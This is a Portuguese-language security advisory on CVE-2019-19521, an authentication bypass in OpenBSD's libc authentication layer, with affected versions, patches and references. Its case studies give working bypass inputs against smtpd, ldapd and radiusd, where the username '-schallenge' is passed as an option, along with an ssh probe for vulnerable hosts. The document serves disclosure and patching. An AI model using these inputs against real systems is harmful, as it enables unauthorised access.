ASA-2019-00652 – OpenBSD: A camada de autenticação da libc executa uma validação insuficiente do nome de usuário


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00652

Identificador(es)

ASA-2019-00652, CVE-2019-19521

Título

A camada de autenticação da libc executa uma validação insuficiente do nome de usuário

Fabricante(s)

The OpenBSD Project

Produto(s)

OpenBSD

Versão(ões) afetada(s)

OpenBSD versões 6.6 anteriores a errata 011
OpenBSD versões 6.5 anteriores a errata 022

Versão(ões) corrigida(s)

OpenBSD versão 6.6 errata 011
OpenBSD versão 6.5 errata 022

OpenBSD versões 6.6 com o seguintes patches aplicados:

010_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/010_libcauth.patch.sig

011_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/011_xenodm.patch.sig

OpenBSD versões 6.5 com o seguintes patches aplicados:

021_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/021_libcauth.patch.sig

022_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/022_xenodm.patch.sig

Prova de Conceito

Desconhecido

Descrição

A libc no OpenBSD permite bypass de autenticação através de -schallenge username, como demonstrado por smtpd, ldapd ou radiusd. Isso está relacionado a gen/auth_subr.c e gen/authenticate.c na libc (e login/login.c e xenocara/app/xenodm /greeter/verifique.c).

Detalhes técnicos

A Qualys descobriu uma vulnerabilidade de bypass de autenticação no sistema de autenticação do OpenBSD: essa vulnerabilidade é remotamente explorável no smtpd, ldapd e radiusd, mas seu impacto no mundo real deve ser estudado caso a caso. Por exemplo, o sshd não é explorável graças a seus mecanismos de defesa em profundidade.

Na página de manual do login.conf:

OpenBSD uses BSD Authentication, which is made up of a variety of
authentication styles. The authentication styles currently provided are:
...
passwd Request a password and check it against the password in the
master.passwd file. See login_passwd(8).
...
skey Send a challenge and request a response, checking it with
S/Key (tm) authentication. See login_skey(8).
...
yubikey Authenticate using a Yubico YubiKey token. See
login_yubikey(8).
...
For any given style, the program /usr/libexec/auth/login_style is used to
perform the authentication. The synopsis of this program is:

/usr/libexec/auth/login_style [-v name=value] [-s service] username class

Esta é a primeira peça do quebra-cabeça: se um atacante especificar um nome de usuário no formato “-option”, ele poderá influenciar o comportamento do programa de autenticação de maneiras inesperadas.

Na página de manual do login_passwd:

login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
[class]
...
The service argument specifies which protocol to use with the invoking
program. The allowed protocols are login, challenge, and response. (The
challenge protocol is silently ignored but will report success as passwd-
style authentication is not challenge-response based).

Esta é a segunda peça do quebra-cabeça: se um atacante especificar o nome de usuário “-schallenge” (ou “-schallenge:passwd” para forçar uma autenticação através de senha), a autenticação será automaticamente bem-sucedida e, portanto, ignorada.

Estudo de caso: smtpd

Para demonstrar como a autenticação do smtpd pode ser bypassed, seguimos as instruções da página de manual do smtpd.conf:

In this second example, the aim is to permit mail delivery and relaying
only for users that can authenticate (using their normal login
credentials).
...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"

e reiniciamos o smtpd. Em seguida, com nosso atacante remoto:

$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded

Estudo de caso: ldapd

Na página de manual do ldapd:

ldapd can authenticate users via simple binds or SASL with the PLAIN
mechanism.
...
When using SASL binds, the authentication ID should be a valid username
for BSD Authentication.

For plain text passwords to be accepted, the connection must be
considered secure, either by using an encrypted connection, or by using
the secure keyword in the configuration file.

Em uma conexão tão segura, um atacante remoto pode ignorar a autenticação SASL do ldapd:

$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)

$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1

Estudo de caso: radiusd

Para mostrar como a autenticação do radiusd pode ser ignorada, adaptamos o exemplo de configuração na página de manual do radiusd.conf:

module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
...
authenticate * {
authenticate-by "bsdauth"
}

e enviamos a seguinte solicitação de autenticação (bem-sucedida):

$ radiusctl test 192.168.56.121 secret -schallenge password whatever
...
Reply-Message = "Authentication succeeded"

Se modificarmos ainda mais a configuração do radiusd para restringir o acesso aos membros do grupo “operator”:

module set "bsdauth" "restrict-group" "operator"

e enviar nossa solicitação de autenticação, então radiusd_bsdauth trava devido a um NULL pointer dereference (porque getpwnam(“-schallenge”) retorna NULL):

80 int
81 main(int argc, char *argv[])
82 {
...
192 pw = getpwnam(user);
...
197 if (gr->gr_gid == pw->pw_gid) {

Estudo de caso: sshd

Mesmo que um atacante pudesse realizar bypass da autenticação do sshd com um usuário inválido, como “-schallenge”, o sshd acabaria por rejeitá-lo:

225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
...
229 int authenticated = 0, partial = 0;
...
249 while (!authenticated) {
...
288 }
289
290 if (!authctxt->valid)
291 fatal("%s: authenticated invalid user", __func__);

No entanto, é possível usar o sshd para testar remotamente se um sistema OpenBSD é vulnerável ao ASA-2019-00652 ou não:

$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive

É vulnerável se a conexão travar, porque o sshd aguarda o login_passwd enviar um desafio, enquanto o login_passwd aguarda o sshd enviar uma resposta (porque o login_passwd interpreta o nome de usuário “-response” como uma opção).

Créditos

Qualys Research Team

Referência(s)

OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html

OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html

010_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/010_libcauth.patch.sig

021_libcauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/021_libcauth.patch.sig

011_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/011_xenodm.patch.sig

022_xenodm.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/022_xenodm.patch.sig

libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/a314d10b1f062d8d3f606a01566c779311fa7b54

libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/2dfc98f42e117c7605b52b5020b630d98601dc22

libc’s authentication privsep layer performed insufficient username
https://github.com/openbsd/src/commit/b458275529e8596f47627eed71b534f261a8b363

xenodm uses the libc authentication layer incorrectly.
https://github.com/openbsd/xenocara/commit/ed32a4544c5028818ba29afc0f4980c6817ee447

oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5

Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14

Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8

CVE-2019-19521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19521

CVE-2019-19521
https://nvd.nist.gov/vuln/detail/CVE-2019-19521

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 11 fevereiro 2020

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.